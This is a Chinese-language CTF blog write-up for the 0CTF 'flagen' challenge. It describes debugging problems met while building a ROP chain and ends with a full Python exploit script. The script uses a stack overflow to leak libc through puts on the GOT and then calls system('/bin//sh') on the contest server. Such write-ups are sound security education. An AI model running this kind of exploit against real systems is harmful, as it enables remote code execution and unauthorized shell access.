01 April 2015

调试过程中发现的问题1:

payload1 = "1\n" + p32(leave) + "h"*77 + "a"*33 + p32(newEbp) + p32(pop1ret) + p32(newDest) + \
                rop.call(puts,rop.got('read')) + \
                p32(readLine) + p32(pop2ret) + p32(newEbp) + p32(count) + p32(leave) + "\n4\n"

这里的p32(pop2ret),就有可能破坏掉ebp,因为pop pop ret 中间大都有一条pop ebp,如果ebp此时被破坏了,不再是事先设定好的newEbp,那么紧接着的leave ret指令也就是失去了效果。

调试过程中发现的问题2:

如果设置count的大小为 0x20,这是打印看一下print payload1.encode(‘hex’) 你会发现payload中出现了00,势必破坏了payload 所以要写成这样count = 0x01010101

调试过程中发现的问题3:

readLine = 0x080486cb # int read_str(char *a1, int length) 如果让readLine =rop.plt(‘read’)可以吗?这里read函数需要3个参数,第一个是0,这样在payload中不可避免的出现了00,会导致在leetify函数中出现截断现象,rop不能继续进行下去,所以这里只能用readLine = 0x080486cb

for ( var_110 = str; *var_110; ++var_110 ) {……}

调试过程中发现的问题4:

from roputils import * 发现该模块的一个bug,当你使用rop.plt(‘puts’)得到的却是printfPlt,相反rop.plt(‘printf’)确是putsPlt 通过调试roputils的代码,发现它在生成plt字典的方法就有问题,没有考虑到本题的特殊情况。可以用readelf -W -a flagen查看一下, 两个位置正好颠倒一下。

Relocation section '.rel.plt' at offset 0x3f8 contains 13 entries:
 Offset     Info    Type                Sym. Value  Symbol's Name
0804b00c  00000107 R_386_JUMP_SLOT        00000000   read
**0804b010  00000807 R_386_JUMP_SLOT        00000000   puts**
0804b014  00000307 R_386_JUMP_SLOT        00000000   free
0804b018  00000407 R_386_JUMP_SLOT        00000000   alarm
0804b01c  00000507 R_386_JUMP_SLOT        00000000   __stack_chk_fail
0804b020  00000607 R_386_JUMP_SLOT        00000000   strcpy
0804b024  00000707 R_386_JUMP_SLOT        00000000   malloc
**0804b028  00000207 R_386_JUMP_SLOT        00000000   printf**
0804b02c  00000907 R_386_JUMP_SLOT        00000000   __gmon_start__
0804b030  00000a07 R_386_JUMP_SLOT        00000000   __libc_start_main
0804b034  00000b07 R_386_JUMP_SLOT        00000000   setvbuf
0804b038  00000c07 R_386_JUMP_SLOT        00000000   snprintf
0804b03c  00000d07 R_386_JUMP_SLOT        00000000   atoi

Symbol table '.dynsym' contains 17 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
**     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)**
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.0 (2)
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.0 (2)
     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.0 (2)
     7: 00000000     0 FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.0 (2)
**     8: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)**
     9: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    10: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND setvbuf@GLIBC_2.0 (2)
    12: 00000000     0 FUNC    GLOBAL DEFAULT  UND snprintf@GLIBC_2.0 (2)
    13: 00000000     0 FUNC    GLOBAL DEFAULT  UND atoi@GLIBC_2.0 (2)
....

考虑到这个,以后就不能完全相信模块的这个函数调用。有的时候pop2ret=rop.gadget(‘pop’, n=3)这种指令得到的地址中间可能会出现00,从而发生截断现象。所以虽然方便,但还是打印出来看一下为好。

from roputils import *

rop=ROP('/root/Desktop/0ctf/flagen')
newEbp =rop.section('.bss')+0x400 
leave =rop.gadget('leave')   #0x080485d8  leave; ret
newDest =rop.got('__stack_chk_fail')   #0x0804b01c 
popRet=rop.gadget('pop', n=1)   #pop ebx; ret
puts = 0x08048510 #puts@plt
readLine = 0x080486cb
count = 0x01010101
sh = newEbp + 4*4  

#ip='127.0.0.1'   socat TCP-LISTEN:5149,reuseaddr,fork EXEC:/xxx/flagen
ip = '202.112.26.106'
conn = Proc(host=ip, port=5149)
#conn=Proc('/root/Desktop/0ctf/flagen')

#0x10c=4*9+77*3+1
payload1 = "1\n" + p32(leave) + "h"*77 + "a"*33 + p32(newEbp) + p32(popRet) + p32(newDest) + \
            rop.call(puts,rop.got('read')) + \
            p32(readLine) + p32(leave) + p32(newEbp) + p32(count) + "\n4\n"
print payload1.encode('hex')
conn.read_until("Your choice: ")
conn.write(payload1) 
conn.read_until("Your choice: ")
readAddr = conn.read_p32() 
print(hex(readAddr))

libc=ROP('/root/Desktop/0ctf/libc.so.6') 
#libc=ROP('/lib32/libc.so.6') 
libc.set_base(readAddr, 'read')
conn.write(p32(0xdeadbeef) + p32(libc.addr('system')) + p32(popRet) + p32(sh) + '/bin//sh\n' )
conn.wait(0)


blog comments powered by Disqus